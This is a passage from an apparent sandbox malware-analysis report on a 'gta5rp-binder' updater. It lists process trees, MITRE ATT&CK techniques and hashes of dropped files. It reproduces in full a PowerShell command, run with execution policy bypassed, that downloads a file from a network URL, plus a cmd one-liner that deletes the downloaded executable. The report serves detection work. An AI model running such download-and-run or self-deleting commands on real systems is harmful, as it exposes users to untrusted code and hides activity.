      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2984
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5144
- - C:\Windows\system32\cmd.exe
    "cmd" /C "ping 127.0.0.1 -n 2 > nul & del /Q \"C:\Users\Admin\AppData\Local\Temp\updater_tmp.exe\""
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3664
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 2
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4688

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3496_1020406440\manifest.json
Size 76B
SHA256 0d664bc422a696452111b9a48e7da9043c03786c8d5401282cff9d77bcc34b11
MD5 ba25fcf816a017558d3434583e9746b8
SHA1 be05c87f7adf6b21273a4e94b3592618b6a4a624
SHA512 3763bd77675221e323faa5502023dc677c08911a673db038e4108a2d4d71b1a6c0727a65128898bb5dfab275e399f4b7ed19ca2194a8a286e8f9171b3536546f
TLSH
T170A022833A0EC03B008283B0202383C08BBCAA28380E080E082338C0CAC2BB80000B28
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.fingerprint

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3496_82169530\manifest.fingerprint
Size 66B
SHA256 946f3a9e019b0d80f5671de782f295132341f663f74aebad7628f22e528d6d52
MD5 3fb5233616491df0ec229ba9f42efdb8
SHA1 18a8116e2df9805accd7901d2321c3fa92da1af4
SHA512 e9b17ac626bf6508db9a686825411e90d316a0f1dacbf63dbec5baaaf6b96af4dbc9a7332975b6d5c16c43757d79fddca6b888ea97bc07a8dffb1b3a06366b4d
TLSH
T1F8A022A0C302202228A00E0A82E20223200EA80CE880002328AC8E2A080833B00A8200
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3496_82169530\manifest.json
Size 43B
SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
MD5 af3a9104ca46f35bb5f6123d89c25966
SHA1 1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8
SHA512 6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_zkst3dib.pi3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zkst3dib.pi3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

update.tmp

Path C:\Users\Admin\AppData\Local\Temp\update.tmp
Size 6.4MB
SHA256 e00cee437984f47656a1a9d7c02f7fb28852b9631faa816ee18daa866799aaf3
MD5 229ba7916612241895454b1c1cda4696
SHA1 a1771bc6eca66c234fc44ac8a8e32ee315d7a88a
SHA512 17736658baa2bee7933e9433d3711418d1ec34cd5aaa98bcd3e5dcf81ef0f39ec4223aca80588e1900758b0d8073863cd4c30ead037041c46db8343f66b6621a
SSDEEP 98304:s/kC+KCk97dByvAddYz01aLpED9LiOnlRdtiBn+:lC+pvGf3g
TLSH
T1B2666C03E291C1E8C89EC079C31AD677BF327CAD5524719A6BE86F112F35B50AB1DB09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

updater_tmp.exe

Path C:\Users\Admin\AppData\Local\Temp\updater_tmp.exe
Size 7.1MB
SHA256 c34a0a31ca38bdc293c2df85fd0217c43709ca111bf5c285fece4c33c04f6c6b
MD5 618b516c9445482ca08759e2a6fc7218
SHA1 d43bde015d7c23d3640cabc2124582a7e624d656
SHA512 e8406faf091392641bf8edc0f2bb99e2c663ca886bbcab0c9f0c77b81f2262570f3a103e8777e609ce6ddfffe2b856bf8eb7c11658cb554b47c07c1e42a20030
SSDEEP 98304:tj1pzlDHIuPdxDXo6/+HYREVeG5hVDn+uTxV:V2UxDXo0HJG5njh
TLSH
T15F764A037E8A98A9C899C870C34BCBA30F1138EB1936B5AF05D565152F7EBB55F2D318
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 9e6ac84e78e7525337ca68093116ab96f6225a98996eb80b28b773bcd8c7b8ca
MD5 d6efc5bd073f14c965aa524bdb234a52
SHA1 dfb9a0f570bb8c2c4fea37d81ae2ff38c58841d3
SHA512 6f993c675a7178e696432e00e6703e24a2edb6fdd4856898b46b1ce29912d2a5bad41b770f7c2612c0e895909ecbaee40b13a70f1e2385a67eb3eaeb15e1d86a
TLSH
T1F4D012163611013CC03024331816664C4940C51F400640469828C55E1B080FC1A02443
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 3e9c834728d38c6472ec48a776cd03f880db3087b7ab8d5e1baf8a0a59f4c961
MD5 a02df303bdac4d3f4f8be9dd0a221cd3
SHA1 fc629e9bcaa7c8e8db0839a20f6f43affff996e5
SHA512 c6b17e874b117039a9c06e745f616209d46c55bdb750702c65c44d3d6c63e59376caa215291d484a298e713c22684cb51465d19edc86b3faa1c4eacdbd804615
TLSH
T1B1D012163A11013CC03025331815664C4A40C41F410641469828C56E1F080FC5A02443
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 34f34156d48d05f62a056068f9043daf8db2fae3215dcc12bbaac77feee63d5c
MD5 e5b4c671373816ed60e0a341e184023a
SHA1 eaf6a0b4df75b28007b79117977b5098b026dc87
SHA512 dcfbdd2b4d44a8371161e2f86b432822e9b56abf2d81820eeaf2166a8266d0cca7d5d62cb408015da888a908faab9b7ca72d236a5f22203569f8a65b9a2e3cb3
MD5 SHA1 SHA512

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 cc2aac39378ea6723cf9d449025022b868034e70ce8ad0a28f5a4c0d684cbb56
MD5 a4aa59eb30ff9de9f922f5e87183408f
SHA1 c588cbc82c3f89c8d0ee551cc7bebd19dee15962
SHA512 68e81173a1679ab7d1c5c7c2293a7f9873a69ec4ecb4d3ea0febcd1af61a7570b999961af8db0146a504ff2960e231b867b34776084d9dd3a610b860a587195a
SSDEEP 3:MsFlYhXllLlX8lerc6oZlvH+flZg1:/Fiz10iobveNe1
TLSH
T10E13025C9BD4040BC18603394456C7605BE0E446451E775310532BA16D647000C0542A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 b8b150c7183fd114449be480f1efa19cb25cca4deac3d263fc475dd27f493d18
MD5 d0c8720d757806b145d55335e30657e8
SHA1 43f7a9c32102a1377e8bf819287f1c1b3f5498fa
SHA512 4acda75fac7e0d2cdcb2e1e80b3846d8ca74258d4f8d4bc8efd10731766ac28406d269acbbbf0a19116ef549743926b4517750f8ba813f913161376d850e20d9
SSDEEP 6:/M/PXGuEVtEEEWt7TVl1pQ00Nk00Nkf88EceJKm4:U/PXKEEEopX6k06kf88E3JKm4
TLSH
T1A04452AB4B008006D62416F8409AAB3CA337C010AEA7AB47A8A284652C903561CA8208
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 579b954e6e75ec86cdede5873c1ef52853a565fb748a8d9ba2d0e78a1a744621
MD5 33873838cfea62e2f1bc00c9bd75a9d7
SHA1 6a181a1624428f7c8ba69c961b79d0a3ae810622
SHA512 29cbb3ebcf351f01e461aaed4a01284fc7e5def0f79381b8a508745c63ff6140d0bc594ec5fd4e464d15c33b0517f67e93003bfd86aae33bcf4bc21f02d65251
SSDEEP 48:moSTtUzqVicn3w9EeApFgQhf9HBVLKkPjv7bJgmVKeD895PWRQa:moSTtz3if4Rx9HKkP77ceh
TLSH
T19025A4CB771029C1CFA20975E1D8CA12AF7166BA69B5ACC7A7714DDD858B2CD5B0200F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000001

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Cache\Cache_Data\f_000001
Size 58KB
SHA256 666eff3ee60a62bd548496379bbad6174818b76c58a192551d370afe2b2c29cd
MD5 1bc639fd97cfb9fd73e2a0e1b52a5b87
SHA1 4cf02ca5740d9c73d73b0cf1d6f0432b4071dc76
SHA512 f769e60bc4b6def93bd8c7f4d85c8943fd71a5f25319e88efff1a0f4da5232de57f6edfa8e9f88e033c454a4d605100b60fda4271e2824b43ac06fef273f8b67
SSDEEP 768:xeUVADEDbGEQ1AponOQYm/1bcD6O9zk2ZLjEnhyrq1lvNpdAx5V7ARt:xeFcegon3cD6O9zkqjENGzGRt
TLSH
T167433B66926A58DE0100B19BCD046E0D3DA745FF7F9A9712367C1C3D7BE7028C27EA4A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Cache\Cache_Data\index
Size 256KB
SHA256 656d83c40cf83257d5f19463ace335e4a05bc64131fe14e5cd7e901b025ac658
MD5 54c12c31b996fb91374ae88ef8f7ca33
SHA1 38b91fcc8978246626779f462b9dde727d6a3499
SHA512 8059ecc082f39927e2273972cdab40c7a4a0a32b5ae4de56b8888e65161c4b81d81bf9cbcb090d12a138d578f942dfee548ac56baf22a4e99795a3d30807613d
SSDEEP 3:LstltltlNllkll/l3lTlNnsNtl:LsXt13lEtVpGN
TLSH
T1F044023D13410409C140027E440183700B3AD011850F4343191C11211C49FC00E054C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

167c5c93a0188cc4_0

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Code Cache\js\167c5c93a0188cc4_0
Size 260B
SHA256 61233078dd383e5db11f7e369fb54e85dfd9d6360994a73b13715bc29f80e6ce
MD5 0a36ce7f9ae585f30f101bc204870322
SHA1 791aaacb4105fd0b06fab4471397bba72e1b07e9
SHA512 778255973f54bb9a5afbd7566f3900128dd437e448b766919ff968405c72b165e5aaca3e8bc2d5f012883f205456e19a7d73c151fcb30adc31e5feb4cb658f48
TLSH
T179D0979F8011A84CC24002F0E3DE298E8323926AC63C8001202AC135A1C0F6C3C24A29
MD5 SHA1 SHA512 TLSH

Submit Download

3edc0ed029870b4d_0

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Code Cache\js\3edc0ed029870b4d_0
Size 256B
SHA256 423ea67533281c4da147c894e856af7274ae967f4fe6a635e8f1cd4611c0c129
MD5 552caee7fcfcf98922e0b1ae23054b0e
SHA1 aec4206bb5e1a3ed1b037d10276db412be2ae6f5
SHA512 00e9e00ac9ae648b76559eefd5d580068d242a0569413c9e0e7de9566993699ebf4d0243d26e6801e61265257941ca2f1fbe903333de024a7156f18f3c1373ab
TLSH
T19DD097CF8C109208C0EC72F0CAAE081E830352A88088A54A1221D0917880D3A38282C1
MD5 SHA1 SHA512 TLSH

Submit Download

440cd573d23b8a29_0

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Code Cache\js\440cd573d23b8a29_0
Size 260B
SHA256 256b3c0352e8ab2d06cb4b5f10706126e2f3694dc1bdf320148efa60147c3da8
MD5 7a27ebfb09927a3f811d08f9b4e632a8
SHA1 75d8ad543fc35668829420223f6d0300928fd157
SHA512 4438b1a698cfd500327f06a98c4781d09110ec5798a9ab23b7281790d03a8cb131c93462b3a096537dd3318728b8515358a2a003fa245adf425ac60d58f7a5a1
TLSH
T102D0A7AF87915608C95546F0CF996DAF4A5371D9461CA5050140E4A7E186B3C3C6DA26
MD5 SHA1 SHA512 TLSH

Submit Download

45208d433250f7d9_0

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Code Cache\js\45208d433250f7d9_0
Size 257B
SHA256 4c90c36126e3cb500ee2d2f3db9f0675286382da8b9f745ef41fb92a2554e69e
MD5 e9fcc871f784ec5b66437a8fde70a2a0
SHA1 c3bf4cf1c3aaeff5836f27b2578bbe68f5cb8024
SHA512 2a5e0e4852ffee86a328ee6badd3eb8a7d822be47ca59e1e2df8717702e5f20168212bc37fa87ee3bd65475e862524d18742ad78958567e8fefe417adcb7eb31
TLSH
T128D0A74F81026644D2ADB7F6CA5E4D5FD613E274949AF1191521D3822488A39249D314
MD5 SHA1 SHA512 TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Code Cache\js\index-dir\temp-index
Size 1008B
SHA256 c3d26789da26beea4daff9ae1cc3ed574d74b7b4f936f7714448bed4dcf674b4
MD5 5d982ee24fc8bcbf1b711fdae3385efc
SHA1 17816582e009b0cae62a16b2f8fab17693c37929
SHA512 8dedc3182bc3cb077ce17df9c73e84467f9a69d71afb4edfe6faf5ec9fdbb26d22d31c89c135db6d28f1b7872b37178d6ea9b9b64fa849afadec84dca8a3d747
TLSH
T16E11F162721D0624DB3B27F310C9F4897EF67853A2231E25A762EFF82A04745529D0BB
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Code Cache\js\index-dir\the-real-index
Size 288B
SHA256 b3fa792b64a51ee87898f17c2e125bee0853e13b1a178cb91918b2c61373123a
MD5 35aa8bf34419c2dadf402ea04925e7f9
SHA1 20eab7afd61a80cc5550edb7785233293cf07b53
SHA512 2ab8ae08164b6829942f16a37535145aac8dabcf14f3dc2a0907f2cf9bc5823aa47d1392292583119ba13e961900b3a015bbec6f6671277ad8722fc0b8274af4
TLSH
T175D0C9933B151024D73747B3A4DD40DC7DB2585643030D3257A4DFF84495398874A157
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe588567.TMP

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Code Cache\js\index-dir\the-real-index~RFe588567.TMP
Size 48B
SHA256 b245627c9e505e2b18f8d7bbb1ab827dfa3c74ae786001931c74da802d5e5f71
MD5 4c346a769cb4bf5faf811889501a2d1e
SHA1 a6965e3db8ae0b76897b1f079f912f679f4a339e
SHA512 11feb201074763743b7491f57722241e25b9aa59d25d7b25b263053dd318145e0fcdd0e26ffde1ade387c7635827bbe40344c1836308451fe27534e20decd235
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\DawnWebGPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\DawnWebGPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\DawnWebGPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\DawnWebGPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Extension Rules\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Extension State\000003.log
Size 114B
SHA256 e2610960c3757d1757f206c7b84378efa22d86dcf161a98096a5f0e56e1a367e
MD5 891a884b9fa2bff4519f5f56d2a25d62
SHA1 b54a3c12ee78510cb269fb1d863047dd8f571dea
SHA512 cd50c3ee4dfb9c4ec051b20dd1e148a5015457ee0c1a29fff482e62291b32097b07a069db62951b32f209fd118fd77a46b8e8cc92da3eaae6110735d126a90ee
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Extension State\LOG
Size 277B
SHA256 585f69886c45dc936f5b3f95713cf1062848242f618185ecea36f640d92e480f
MD5 97be0104dc6dbad40b42195113ee636f
SHA1 eac2804ff9fadf6f561b625975fe8938ab66a204
SHA512 ada4e58d42152c1f260bb33a885fda21612bc676e10d63aa2c539e6861e02fccff0e3224bbfa5f681c8fc083bd6fb22d46ed8d4a9cc0eacfe97b3c49ff907430
TLSH
T1C5D0C21858A8C5FA4D9CCCF7A6B38B0CCBA1340ABA8639090B4ECA08214341D6349B00
MD5 SHA1 SHA512 TLSH

Submit Download

Favicons

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Favicons
Size 20KB
SHA256 46b5ecada4edb2585f87953f7847aefc938be2404b9d9455c772b97295b7b1cb
MD5 babd43551f1b29eb82e221460676126a
SHA1 e9bff307613a14b35830893bdb6d1ecc931b425d
SHA512 5ab681c170dbd1d374bd66edd02cbe21272819ef7389ad1e886bcba112deb91eb68fa930747986da5ca794881939570013e38edd9f8e6f718f7d202e74a82f41
SSDEEP 24:LLipxh0GY/l1rWR1PmCx9fZjsBX+T6UwcE85fBmI:UBmw6fU1zBmI
TLSH
T1C292EE075E383407DBA10E7D366B18768E3FE26C5FA29C94347410618CF9482D5394FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\History
Size 184KB
